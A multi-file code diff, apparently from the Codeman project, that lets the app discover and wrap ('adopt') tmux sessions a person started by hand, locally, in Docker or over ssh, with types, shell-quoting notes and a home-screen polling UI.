// Fire and forget like the owned docker branch below: a daemon that stopped
|
||||
// answering must not hold the event loop for the whole timeout.
|
||||
if (session.adopt.location === 'docker' && session.adopt.docker) {
|
||||
try {
|
||||
exec(
|
||||
buildForeignDockerViewKillCommand({
|
||||
dockerBase: buildDockerBaseArgs(session.adopt.docker).join(' '),
|
||||
containerName: session.adopt.docker.containerName,
|
||||
socketPath: session.adopt.socketPath,
|
||||
viewSession: session.adopt.viewSession || foreignViewSessionName(sessionId),
|
||||
}),
|
||||
{ timeout: EXEC_TIMEOUT_MS },
|
||||
() => {}
|
||||
);
|
||||
} catch {
|
||||
// Best-effort: the container may be gone, or the view already collected.
|
||||
}
|
||||
}
|
||||
if (isValidMuxName(session.muxName)) {
|
||||
try {
|
||||
await execAsync(`${this.tmux()} kill-session -t "${session.muxName}" 2>/dev/null`, {
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
});
|
||||
} catch {
|
||||
// Wrapper may already be gone.
|
||||
}
|
||||
}
|
||||
this.lastPaneCount.delete(session.muxName);
|
||||
this.clearPaneExit(session.muxName);
|
||||
this.sessions.delete(sessionId);
|
||||
this.clearRemoteReconnectState(sessionId);
|
||||
this.saveSessions();
|
||||
this.emit('sessionKilled', { sessionId });
|
||||
return true;
|
||||
}
|
||||
|
||||
if (session.remote && session.remote.owned === false) {
|
||||
console.log(`[TmuxManager] DETACH (non-owned remote): tearing down local pane only for ${session.muxName}`);
|
||||
if (isValidMuxName(session.muxName)) {
|
||||
@@ -4678,19 +4812,24 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
|
||||
/**
|
||||
* The `bash -c` argument of a pane launch (`respawn-pane … bash -c <arg>`, run through the
|
||||
* local sh). A remote or docker command is already quoted for the shell at the far end and
|
||||
* must reach bash verbatim, so it goes in single quotes. Double quotes (JSON.stringify) let
|
||||
* the local sh expand every `$` first: the PATH bootstrap of `withRemoteTmuxPath`
|
||||
* (`$HOME/.local/bin:…:$PATH`) arrived on the remote host as this host's home and PATH, so
|
||||
* a remote user with another home found no tmux and every new remote pane exited 127.
|
||||
* `${SHELL:-/bin/sh}` in the remote launch was the local shell for the same reason.
|
||||
* Local commands keep their double-quoted form.
|
||||
* local sh). A remote, docker or adopted command is already quoted for the shell at the far
|
||||
* end and must reach bash verbatim, so it goes in single quotes. Double quotes
|
||||
* (JSON.stringify) let the local sh expand every `$` first: the PATH bootstrap of
|
||||
* `withRemoteTmuxPath` (`$HOME/.local/bin:…:$PATH`) arrived on the remote host as this
|
||||
* host's home and PATH, so a remote user with another home found no tmux and every new
|
||||
* remote pane exited 127. `${SHELL:-/bin/sh}` in the remote launch was the local shell for
|
||||
* the same reason, and an adopted ssh attach carries the same bootstrap, so a tmux in the
|
||||
* remote `~/.local/bin` was found by discovery and then missed by the attach. Single quotes
|
||||
* also keep a real newline, which JSON escaping left as the two characters `\n`.
|
||||
* An adopted attach goes verbatim at all three locations, the local one included: every
|
||||
* value in it is already quoted by `foreign-tmux.ts`, and nothing in it is for this shell.
|
||||
* An agent launched on this host keeps its double-quoted form.
|
||||
*
|
||||
* ⚠️ So nothing in a verbatim launch is expanded on this host any more, the docker client's
|
||||
* own arguments included: a bare `$VAR` in `extraCreateArgs`/`extraExecArgs` reaches docker
|
||||
* as those literal characters.
|
||||
*/
|
||||
function bashCArg(launchCmd: string, verbatim: boolean): string {
|
||||
export function bashCArg(launchCmd: string, verbatim: boolean): string {
|
||||
return verbatim ? shellescape(launchCmd) : JSON.stringify(launchCmd);
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
/**
|
||||
* @fileoverview Discovery contract for FOREIGN tmux sessions — the ones a human
|
||||
* started by hand (`tmux new -s work`, then `claude` or `codex` inside it), which
|
||||
* Codeman did not create and does not own.
|
||||
*
|
||||
* Codeman's own sessions live on a dedicated, instance-scoped socket
|
||||
* (`tmux -L codeman`) and are gated by `SAFE_MUX_NAME_PATTERN`. Everything here
|
||||
* is about the OTHER servers: the default socket, a colleague's `-L` socket, the
|
||||
* tmux inside a container, the tmux on an ssh host.
|
||||
*
|
||||
* Key exports:
|
||||
* - ForeignTmuxLocation, WHERE a foreign tmux server lives — the same three
|
||||
* locations Codeman already runs sessions in (local / docker / remote).
|
||||
* - ForeignPaneProbe, one parsed row of the probe script's output.
|
||||
* - ForeignTmuxSession, one adoptable candidate as the UI sees it.
|
||||
* - ForeignDiscoveryResult, one scan of one or more locations.
|
||||
*
|
||||
* ⚠️ `location` here describes where a candidate was FOUND. Once adopted, the
|
||||
* location fact is carried by `SessionAdopt` (types/session.ts) instead. The two
|
||||
* must never stand in for each other, or an un-adopted candidate starts looking
|
||||
* like a live session.
|
||||
*
|
||||
* No I/O here. The probe/parse/classify core is `src/foreign-tmux.ts`; the three
|
||||
* transports are `src/foreign-tmux-discovery.ts`.
|
||||
*/
|
||||
|
||||
import type { SessionMode } from './session.js';
|
||||
|
||||
/** Where a foreign tmux server lives. Mirrors Codeman's own three locations. */
|
||||
export type ForeignTmuxLocationKind = 'local' | 'docker' | 'remote';
|
||||
|
||||
/**
|
||||
* A location to scan. `hostId` refers to the saved docker-host / remote-host
|
||||
* registry entry, so the transport can be rebuilt without trusting the browser.
|
||||
*/
|
||||
export interface ForeignTmuxLocation {
|
||||
kind: ForeignTmuxLocationKind;
|
||||
/** Registry id (`docker-hosts.json` / `remote-hosts.json`). Absent for local. */
|
||||
hostId?: string;
|
||||
/** Display label for the UI. Absent for local. */
|
||||
label?: string;
|
||||
/** Container to `docker exec` into (`kind === 'docker'`). */
|
||||
containerName?: string;
|
||||
}
|
||||
|
||||
/** One pane row from the probe script, after parsing. */
|
||||
export interface ForeignPaneProbe {
|
||||
socketPath: string;
|
||||
sessionName: string;
|
||||
windowIndex: number;
|
||||
paneId: string;
|
||||
panePid: number;
|
||||
/** tmux's own idea of the running command — `node` for both claude and codex. */
|
||||
paneCurrentCommand: string;
|
||||
paneCurrentPath: string;
|
||||
sessionAttached: boolean;
|
||||
/** tmux `session_created`, epoch SECONDS. */
|
||||
sessionCreated: number;
|
||||
windows: number;
|
||||
}
|
||||
|
||||
/** One adoptable foreign session. */
|
||||
export interface ForeignTmuxSession {
|
||||
/**
|
||||
* Stable, opaque id for the UI and the adopt request. Derived from
|
||||
* location + socket + session name, so it survives a re-scan and can be
|
||||
* matched against an already-adopted session without echoing raw paths back
|
||||
* through the browser as command inputs.
|
||||
*/
|
||||
id: string;
|
||||
location: ForeignTmuxLocationKind;
|
||||
hostId?: string;
|
||||
hostLabel?: string;
|
||||
containerName?: string;
|
||||
/** Absolute socket path AS SEEN FROM THE LOCATION (not from Codeman's host). */
|
||||
socketPath: string;
|
||||
sessionName: string;
|
||||
windows: number;
|
||||
attached: boolean;
|
||||
/** Epoch MILLISECONDS (tmux reports seconds; normalized on parse). */
|
||||
createdAt: number;
|
||||
/**
|
||||
* What the session's FIRST LISTED pane is running, from the bounded process-tree
|
||||
* walk. Not the active window: claude in window 1 of a session whose window 0 holds
|
||||
* a shell reads as `shell`. The tab lands on that same first window, so the two agree.
|
||||
*/
|
||||
mode: SessionMode;
|
||||
/** Truncated command line behind the classification, for the UI subtitle. */
|
||||
command: string;
|
||||
/** That same pane's cwd. Informational: an adopted pane is never `cd`'d. */
|
||||
workingDir: string;
|
||||
/** Codeman session id already wrapping this target, when one exists. */
|
||||
adoptedBy?: string;
|
||||
}
|
||||
|
||||
/** One discovery scan. Never throws — unreachable locations become notes. */
|
||||
export interface ForeignDiscoveryResult {
|
||||
sessions: ForeignTmuxSession[];
|
||||
/** Epoch ms of the scan the result came from (may be a cache hit). */
|
||||
scannedAt: number;
|
||||
/**
|
||||
* Non-fatal reasons a location produced nothing (host unreachable, no tmux,
|
||||
* engine down). Surfaced so an empty list is never silently ambiguous.
|
||||
*/
|
||||
notes: string[];
|
||||
}
|
||||
@@ -75,4 +75,5 @@ export * from './search.js';
|
||||
export * from './user.js';
|
||||
export * from './webview.js';
|
||||
export * from './intent.js';
|
||||
export * from './foreign-tmux.js';
|
||||
export * from './mcp-sync.js';
|
||||
@@ -366,6 +366,74 @@ export interface SessionDocker {
|
||||
owned?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Connection facts needed to reach an adopted foreign tmux server. Deliberately
|
||||
* the exact `Pick`s that `buildSshConnectionArgs` / `buildDockerBaseArgs` consume,
|
||||
* so an adopted session can rebuild its command after a server restart without
|
||||
* re-reading a registry that may have been edited in the meantime.
|
||||
*/
|
||||
export interface AdoptRemoteConnection extends RemoteSshOptions {
|
||||
hostId: string;
|
||||
label: string;
|
||||
host: string;
|
||||
username: string;
|
||||
port?: number;
|
||||
}
|
||||
|
||||
export interface AdoptDockerConnection {
|
||||
hostId: string;
|
||||
label: string;
|
||||
engine: DockerEngine;
|
||||
containerName: string;
|
||||
daemonHost?: string;
|
||||
context?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* ADOPTION overlay — a tmux session a HUMAN started, that Codeman attached to.
|
||||
*
|
||||
* This is the FOURTH location overlay, alongside remote-SSH and Docker, and it
|
||||
* obeys the same rule they do: it is **not** a `SessionMode`. The mode is still
|
||||
* claude / codex / shell / …, decided by the process-tree probe rather than by
|
||||
* the user.
|
||||
*
|
||||
* Shape of an adopted session: Codeman creates a NORMAL wrapper session on its
|
||||
* OWN socket (`codeman-<8hex>`, so `isValidMuxName` and every capture/input/
|
||||
* recovery path is untouched) whose single pane runs a command that attaches to
|
||||
* the foreign target. Killing the tab kills only the wrapper — the foreign
|
||||
* session is structurally out of reach, exactly like a non-owned remote session.
|
||||
*
|
||||
* ⚠️ There is no `owned` field here, unlike `SessionRemote`/`SessionDocker`: an
|
||||
* adopted session is *by definition* someone else's. A field that could be true
|
||||
* would invite a code path that kills it.
|
||||
*/
|
||||
export interface SessionAdopt {
|
||||
/** Where the foreign tmux server lives. */
|
||||
location: 'local' | 'docker' | 'remote';
|
||||
/** Absolute socket path as seen FROM that location (passed to `tmux -S`). */
|
||||
socketPath: string;
|
||||
/** The foreign session we attach to. Never Codeman-named, never name-validated. */
|
||||
targetSession: string;
|
||||
/**
|
||||
* Our own grouped VIEW session on the foreign server. Grouping (rather than a
|
||||
* bare `attach`) buys `status off` and an independent CURRENT WINDOW, both of
|
||||
* which land on our session instead of mutating the owner's.
|
||||
*
|
||||
* ⚠️ It does NOT buy an independent size, and the comment here used to claim it
|
||||
* did. A window is one object with one size and a group shares that object, so
|
||||
* our attach resizes the owner's view exactly as any second tmux client does
|
||||
* (measured on 3.3a: bare attach and grouped both shrink a 200x49 target to
|
||||
* 80x23; only `window-size largest` holds it, and that is a shared window
|
||||
* option which survives our detach — see foreign-tmux.ts for why it is not set).
|
||||
* Created with `destroy-unattached on` so it evaporates with our pane.
|
||||
*/
|
||||
viewSession: string;
|
||||
/** The pane cwd at adoption time. Informational: an adopted pane is never `cd`'d. */
|
||||
paneCurrentPath?: string;
|
||||
remote?: AdoptRemoteConnection;
|
||||
docker?: AdoptDockerConnection;
|
||||
}
|
||||
|
||||
/**
|
||||
* Valid Claude CLI effort levels (claude >= 2.1.154).
|
||||
* `ultracode` = xhigh effort + standing dynamic-workflow orchestration; it is a
|
||||
@@ -884,6 +952,12 @@ export interface SessionState {
|
||||
remote?: SessionRemote;
|
||||
/** Docker execution metadata, present when this session runs inside a container via local tmux + docker exec */
|
||||
docker?: SessionDocker;
|
||||
/**
|
||||
* Adoption metadata, present when this session is a wrapper around a tmux
|
||||
* session a human started outside Codeman. Its presence is what disables
|
||||
* respawn/Ralph/orchestrator and hook-backed waits for the session.
|
||||
*/
|
||||
adopt?: SessionAdopt;
|
||||
/** Owning username in multi-user mode; undefined in single-user (ignored when the flag is off) */
|
||||
owner?: string;
|
||||
/**
|
||||
|
||||
@@ -46,6 +46,8 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
|
||||
|
||||
**Desktop home tab rail** (`home-sessions.js`, desktop only): the welcome overlay's left gutter carries the open tabs as a rail docked flush left, full height, in overview order, each row showing `created … · <state> <duration>` from `_mobileOverviewSince()`; state classification is reused from mobile-overview.js (so it loads after it). ⚠️ The number badge is the Alt+1..9 tab-strip index, never renumber it to row position. ⚠️ The width gate lives in two places that must stay equal: `HOME_SESSIONS_MIN_WIDTH` (1180) and a `max-width: 1179px` media query. ⚠️ `.home-sessions[hidden]` must re-assert `display: none`. ⚠️ Size all children in `em` off the one `clamp()` knob, never `rem`/px. Age stamps tick in place (`_tickHomeSessionsTimes()`), never by re-render. Test: `test/home-sessions.test.ts`. → [architecture-invariants#desktop-home-tab-rail](../../docs/architecture-invariants.md#desktop-home-tab-rail)
|
||||
|
||||
**Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module).
|
||||
|
||||
**Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order)
|
||||
|
||||
**Welcome "Resume Conversation" list** (terminal-ui.js): `loadHistorySessions()` fetches once and caches the corpus on `_historyAll`/`_historyCases`; every subsequent view (filter box, sort select, expand, the periodic refresh in panels-ui.js) goes through `_renderHistoryList()`, so never append rows to `#historyList` directly or re-fetch to re-sort. ⚠️ The box height is **class-driven**: expanding the list without `.history-list.expanded` leaves the collapsed `max-height` in place and just deepens a scroll well, which is the bug #260 reported (35 sessions in a ~4-row box). ⚠️ The A–Z sort keys off `_historyRowLabel()`, the SAME string the row renders (`name || firstPrompt || path`), most rows are transcript-backed and have no session name, so sorting on `name` alone silently does nothing. ⚠️ A filter implies expansion, and `_renderSearch()` hides `#historyHeader` (title + controls) as one unit while a search is active. Tests: `test/history-list-controls.test.ts`.
|
||||
|
||||
@@ -79,6 +79,8 @@ export interface EditHistorySession {
|
||||
mode: string;
|
||||
remote: SessionRemote | undefined;
|
||||
docker?: unknown;
|
||||
/** Set on a wrapper around a foreign tmux session: Codeman holds no transcript id for what runs there. */
|
||||
adopt?: unknown;
|
||||
claudeSessionId: string | null;
|
||||
/** The session's own `CLAUDE_CONFIG_DIR` (Codeman env override), if it has one. */
|
||||
claudeConfigDir?: string;
|
||||
@@ -129,6 +131,7 @@ export function remoteTranscriptIds(session: EditHistorySession, storedTranscrip
|
||||
/** Why a session has no edit history, or undefined when it can have one. */
|
||||
export function unsupportedReason(session: EditHistorySession): string | undefined {
|
||||
if (session.docker) return 'docker';
|
||||
if (session.adopt) return 'adopted';
|
||||
if (getCli(session.mode)?.capabilities.transcript !== 'claude-jsonl') return 'mode';
|
||||
return undefined;
|
||||
}
|
||||
|
||||
@@ -57,7 +57,9 @@ export const DISCORD_RECEIVED_DIR = '.codeman-discord';
|
||||
* and is listed, or the uploads of a workspace like `~/.codeman/app` would
|
||||
* never be collected), and nothing for a remote (SSH) session, whose
|
||||
* workingDir is the remote path and would name a same-named LOCAL directory
|
||||
* here. The working directory is a user-chosen path, so it is probed BOUNDED
|
||||
* here, or for an adopted session, whose workingDir is the neutral `/tmp` that
|
||||
* other sessions may really work in (it receives no uploads). The working
|
||||
* directory is a user-chosen path, so it is probed BOUNDED
|
||||
* first (#516): one on a mount that stopped answering reads `unknown` and is
|
||||
* skipped, never touched. The sweep keeps the probe's stall cap; the delete,
|
||||
* acting on one path at the user's request, passes `pastCap`. The check is
|
||||
@@ -66,10 +68,10 @@ export const DISCORD_RECEIVED_DIR = '.codeman-discord';
|
||||
* can.
|
||||
*/
|
||||
export async function uploadDirs(
|
||||
session: { workingDir: string; remote?: unknown },
|
||||
session: { workingDir: string; remote?: unknown; adopt?: unknown },
|
||||
probe: PathProbeOptions = {}
|
||||
): Promise<string[]> {
|
||||
if (session.remote) return [];
|
||||
if (session.remote || session.adopt) return [];
|
||||
if ((await probePathKind(session.workingDir, probe)) !== 'directory') return [];
|
||||
const dataDir = await realDir(getDataDir());
|
||||
const dirs: string[] = [];
|
||||
|
||||
+37
-4
@@ -10308,11 +10308,11 @@ class CodemanApp {
|
||||
// response re-reports the count, so a pane that starts keeping history
|
||||
// (claude switched to its inline view) goes back to the tail on the next
|
||||
// switch.
|
||||
// A remote (ssh) or Docker session's local pane hosts a nested tmux client in the
|
||||
// alternate screen, so it reports 0 while its byte tail is real scrollback.
|
||||
// A remote (ssh), Docker or adopted session's local pane hosts a nested tmux client in
|
||||
// the alternate screen, so it reports 0 while its byte tail is real scrollback.
|
||||
const shellSession = session?.mode === 'shell';
|
||||
const paneKeepsNoHistory =
|
||||
!session?.remote && !session?.docker && this._paneHistoryLines?.get(sessionId) === 0;
|
||||
!session?.remote && !session?.docker && !session?.adopt && this._paneHistoryLines?.get(sessionId) === 0;
|
||||
const useFullHistory = !shellSession && (paneKeepsNoHistory || !this._fullHistoryLoaded.has(sessionId));
|
||||
if (useFullHistory) this._fullHistoryLoaded.add(sessionId);
|
||||
const fetchStartedAt = performance.now();
|
||||
@@ -10920,6 +10920,9 @@ class CodemanApp {
|
||||
// An SSE resync (handleInit) that landed mid-request rebuilds the list from
|
||||
// the server, which still had the session then.
|
||||
if (this.sessions.has(sessionId)) this._onSessionDeleted({ id: sessionId });
|
||||
// The home screen read the outside-sessions list when the tab went, before this
|
||||
// delete landed, so its row would say "Go to tab" with no tab until the next poll.
|
||||
if (session?.adopt) void this.loadForeignSessions?.();
|
||||
if (killMux) {
|
||||
this.showToast('Session closed and tmux killed', 'success');
|
||||
} else {
|
||||
@@ -10955,6 +10958,25 @@ class CodemanApp {
|
||||
const sessionNameEl = document.getElementById('closeConfirmSessionName');
|
||||
sessionNameEl.textContent = name;
|
||||
|
||||
// ⚠️ An ADOPTED session has no "kill" outcome to offer. Its wrapper is the
|
||||
// only thing Codeman owns; the server's killSession refuses to reach the
|
||||
// foreign server at all (see the adopted early return in tmux-manager). So
|
||||
// the red "Terminate the session completely" option is not merely redundant
|
||||
// here, it is a false promise about someone else's live work — and the kind
|
||||
// of false promise that stops a user closing the tab at all. Hide it, and say
|
||||
// what actually happens instead.
|
||||
const killBtn = document.getElementById('closeConfirmKillBtn');
|
||||
const keepTitle = document.getElementById('closeConfirmKeepTitle');
|
||||
const keepDesc = document.getElementById('closeConfirmKeepDesc');
|
||||
const adopted = !!session.adopt;
|
||||
if (killBtn) killBtn.style.display = adopted ? 'none' : '';
|
||||
if (keepTitle) keepTitle.textContent = adopted ? 'Close Tab' : 'Remove Tab';
|
||||
if (keepDesc) {
|
||||
keepDesc.textContent = adopted
|
||||
? 'Detaches only. The tmux session keeps running for whoever started it.'
|
||||
: 'Tmux session keeps running in background';
|
||||
}
|
||||
|
||||
// A session in a Codeman-managed git worktree also offers to remove the worktree
|
||||
// (git worktree remove, never forced) once the session is gone. Read now, before the
|
||||
// session leaves this.sessions.
|
||||
@@ -11014,7 +11036,18 @@ class CodemanApp {
|
||||
this.cancelCloseSession();
|
||||
|
||||
if (sessionId) {
|
||||
const gone = await this.closeSession(sessionId, killMux);
|
||||
// ⚠️ For an ADOPTED session `killMux` does not mean what it means everywhere
|
||||
// else. There is no agent of ours to terminate: the only thing it can reach
|
||||
// is the WRAPPER we created, and the server's adopted branch in
|
||||
// `killSession` tears that down without ever touching the foreign server.
|
||||
// So "keep the tmux session running" has no useful meaning here: taking it
|
||||
// literally leaves our wrapper AND its grouped view session parked on the
|
||||
// user's own socket forever, one pair per tab they ever closed (measured:
|
||||
// `codeman-view-*` survived every close and the row stayed "Go to tab" with
|
||||
// no tab behind it). Always tear the wrapper down; the foreign session is
|
||||
// structurally out of reach either way.
|
||||
const adopted = !!this.sessions.get(sessionId)?.adopt;
|
||||
const gone = await this.closeSession(sessionId, adopted ? true : killMux);
|
||||
if (gone && worktree) await this._removeWorktreeAfterClose?.(worktree, deleteBranch);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,459 @@
|
||||
/**
|
||||
* @fileoverview The "sessions someone opened by hand" block on the home screen.
|
||||
*
|
||||
* A tmux session a human started (`tmux new -s work`, then `claude`, or just a
|
||||
* shell) is invisible to Codeman: it lives on the DEFAULT socket, not the
|
||||
* instance-scoped one Codeman owns. `GET /api/mux/foreign` finds those, and one
|
||||
* click wraps one in a Codeman tab (`POST /api/sessions/adopt`).
|
||||
*
|
||||
* ## One renderer, two containers
|
||||
*
|
||||
* The welcome screen and the phone overview both show this list. They call the
|
||||
* SAME `renderForeignSessions(container)` rather than each building rows, because
|
||||
* two renderers are how one surface ends up calling a session "shell" while the
|
||||
* other calls it "bash". Same reason `CodemanSessionOrder` is shared.
|
||||
*
|
||||
* ## Polling only while the home screen is up
|
||||
*
|
||||
* The list is a poll, not an SSE stream: the server caches a local scan on a TTL,
|
||||
* so N tabs polling costs one scan per TTL no matter how many are open. But an
|
||||
* open tab that has LEFT the home screen must stop — otherwise every background
|
||||
* tab keeps sweeping tmux sockets forever. `startForeignPolling` /
|
||||
* `stopForeignPolling` are called from `showWelcome`/`hideWelcome`.
|
||||
*
|
||||
* ⚠️ Docker and remote locations are NOT in that poll. Each costs a `docker exec`
|
||||
* or a full ssh handshake per target, each with a ~12s timeout, so riding them
|
||||
* along on an 8s tick stacks connections on a slow host — the one cost the
|
||||
* server-side design explicitly refuses. The wide scan is therefore ONE-SHOT:
|
||||
* turning the toggle on fetches once, and after that it is the user's Rescan
|
||||
* button. The periodic poll stays local-only forever.
|
||||
*
|
||||
* The wide rows are kept separately (`_foreignWideSessions`) and merged into
|
||||
* every local render, because a local-only poll's payload does not contain them
|
||||
* and would otherwise wipe the container/remote rows off the list one tick after
|
||||
* they appeared. Turning the toggle off discards them.
|
||||
*
|
||||
* ⚠️ Adoption creates a REAL session, so the button locks while in flight and the
|
||||
* result goes through the app's normal idempotent create path
|
||||
* (`_onSessionCreated` then `selectSession`) — never by inserting a tab here.
|
||||
*
|
||||
* @mixin Extends CodemanApp.prototype via Object.assign
|
||||
* @dependency app.js (this.sessions, _onSessionCreated, selectSession)
|
||||
* @dependency api-client.js (_api)
|
||||
* @dependency ralph-panel.js (formatRelativeTime)
|
||||
* @dependency i18n.js (codemanT, optional)
|
||||
* @loadorder 12.565 of 16, after home-sessions.js, before git-status-ui.js
|
||||
*/
|
||||
|
||||
/** Fallback poll cadence; the server sends its own in `pollIntervalMs`. */
|
||||
const FOREIGN_POLL_FALLBACK_MS = 8000;
|
||||
|
||||
/** i18n.js's translator, or the English source where it has not loaded. */
|
||||
function foreignT(source) {
|
||||
return typeof codemanT === 'function' ? codemanT(source) : source;
|
||||
}
|
||||
|
||||
/** A row's mode, in the registry's own word for it. Falls back to the id, never a list of ids here. */
|
||||
function foreignModeLabel(mode) {
|
||||
const catalog =
|
||||
typeof window !== 'undefined' && Array.isArray(window.__codemanCliCatalog) ? window.__codemanCliCatalog : [];
|
||||
return catalog.find((entry) => entry.id === mode)?.label || mode;
|
||||
}
|
||||
|
||||
const FOREIGN_LOCATION_LABEL = {
|
||||
local: 'this machine',
|
||||
docker: 'container',
|
||||
remote: 'remote',
|
||||
};
|
||||
|
||||
Object.assign(CodemanApp.prototype, {
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
// Lifecycle
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
|
||||
/**
|
||||
* Begin polling. Idempotent: the home screen re-shows on several paths
|
||||
* (boot, closing the last tab, a breakpoint change) and each would otherwise
|
||||
* stack another interval on top of the last.
|
||||
*/
|
||||
startForeignPolling() {
|
||||
if (this._foreignPollTimer || this._foreignRefused) return;
|
||||
void this.loadForeignSessions();
|
||||
this._foreignPollTimer = setInterval(() => {
|
||||
// Local only — see @fileoverview. The wide scan never rides the timer.
|
||||
void this.loadForeignSessions();
|
||||
}, this._foreignPollMs || FOREIGN_POLL_FALLBACK_MS);
|
||||
},
|
||||
|
||||
/** Stop polling. MUST run on leaving the home screen — see @fileoverview. */
|
||||
stopForeignPolling() {
|
||||
if (!this._foreignPollTimer) return;
|
||||
clearInterval(this._foreignPollTimer);
|
||||
this._foreignPollTimer = null;
|
||||
},
|
||||
|
||||
/** Whether the user asked for the expensive docker/remote scan too. */
|
||||
foreignScanRemote() {
|
||||
return this._foreignScanRemote === true;
|
||||
},
|
||||
|
||||
/**
|
||||
* Flip the wide scan. ON fetches containers and hosts ONCE; OFF discards what
|
||||
* that fetch found, because those rows are not re-confirmed by any later poll
|
||||
* and leaving them up would show a container session that may be long gone.
|
||||
*/
|
||||
toggleForeignScanRemote() {
|
||||
this._foreignScanRemote = !this._foreignScanRemote;
|
||||
if (!this._foreignScanRemote) {
|
||||
this._foreignWideSessions = [];
|
||||
this._foreignWideNotes = [];
|
||||
this.renderAllForeignSessions();
|
||||
return;
|
||||
}
|
||||
void this.loadForeignSessions({ wide: true });
|
||||
},
|
||||
|
||||
/** Re-run the expensive scan on demand. The only way wide rows ever refresh. */
|
||||
rescanForeignWide() {
|
||||
if (!this.foreignScanRemote()) return;
|
||||
void this.loadForeignSessions({ wide: true });
|
||||
},
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
// Data
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
|
||||
/**
|
||||
* Fetch the list. `wide` asks the server for containers and ssh hosts too, and
|
||||
* ONLY an explicit user action ever passes it — never the interval.
|
||||
*/
|
||||
async loadForeignSessions({ wide = false } = {}) {
|
||||
if (this._foreignRefused) return;
|
||||
const qs = wide ? '?docker=1&remote=1' : '';
|
||||
if (wide) this._foreignWideLoading = true;
|
||||
this.renderAllForeignSessions();
|
||||
const res = await this._api(`/api/mux/foreign${qs}`);
|
||||
if (wide) this._foreignWideLoading = false;
|
||||
// ⚠️ A 403 is an answer, not a failed poll. The list is admin-only in multi-user
|
||||
// mode (it shows other people's processes), so a non-admin has nothing to see here
|
||||
// and nothing later on this page changes that: stop asking and show no block,
|
||||
// instead of "Could not reach the server" under a heading they cannot use.
|
||||
if (res?.status === 403) {
|
||||
this._foreignRefused = true;
|
||||
this.stopForeignPolling();
|
||||
this.renderAllForeignSessions();
|
||||
return;
|
||||
}
|
||||
const body = res?.ok ? await this._readJsonBody(res) : null;
|
||||
const data = body?.success === true ? body.data : body?.success === false ? null : body;
|
||||
if (!data) {
|
||||
// A failed poll must not blank a list the user is looking at: keep the
|
||||
// last good result and let the next tick recover.
|
||||
this._foreignError = true;
|
||||
this.renderAllForeignSessions();
|
||||
return;
|
||||
}
|
||||
this._foreignError = false;
|
||||
const rows = Array.isArray(data.sessions) ? data.sessions : [];
|
||||
const notes = Array.isArray(data.notes) ? data.notes : [];
|
||||
// Every note opens with its location (foreign-tmux-discovery.ts). A local one is
|
||||
// re-read on each poll; a container or host one only by the next explicit scan,
|
||||
// so it has to outlive the local polls in between.
|
||||
const isLocalNote = (note) => String(note).startsWith('local:');
|
||||
this._foreignNotes = notes.filter(isLocalNote);
|
||||
if (wide) {
|
||||
// Split by location: the local rows refresh on every tick, the rest only
|
||||
// here, so they have to be stored apart or the next local-only payload
|
||||
// (which cannot contain them) would read as "those sessions are gone".
|
||||
this._foreignSessions = rows.filter((r) => (r.location || 'local') === 'local');
|
||||
this._foreignWideSessions = rows.filter((r) => (r.location || 'local') !== 'local');
|
||||
this._foreignWideNotes = notes.filter((note) => !isLocalNote(note));
|
||||
this._foreignWideAt = Date.now();
|
||||
} else {
|
||||
this._foreignSessions = rows;
|
||||
}
|
||||
this._foreignCanScanWide = data.canScanWide === true;
|
||||
if (Number.isFinite(data.pollIntervalMs)) this._foreignPollMs = data.pollIntervalMs;
|
||||
this.renderAllForeignSessions();
|
||||
},
|
||||
|
||||
/** Local rows plus whatever the last wide scan found. The render's one input. */
|
||||
_allForeignRows() {
|
||||
const local = Array.isArray(this._foreignSessions) ? this._foreignSessions : [];
|
||||
if (!this.foreignScanRemote()) return local;
|
||||
const wide = Array.isArray(this._foreignWideSessions) ? this._foreignWideSessions : [];
|
||||
return wide.length ? local.concat(wide) : local;
|
||||
},
|
||||
|
||||
/**
|
||||
* Adopt one candidate.
|
||||
*
|
||||
* The in-flight lock is global, one adoption at a time from this page: it only
|
||||
* stops a double-click. The server holds the real one-wrapper-per-target
|
||||
* guarantee.
|
||||
*/
|
||||
async adoptForeignSession(id, buttonEl) {
|
||||
if (this._foreignAdoptInFlight) return;
|
||||
this._foreignAdoptInFlight = true;
|
||||
if (buttonEl) {
|
||||
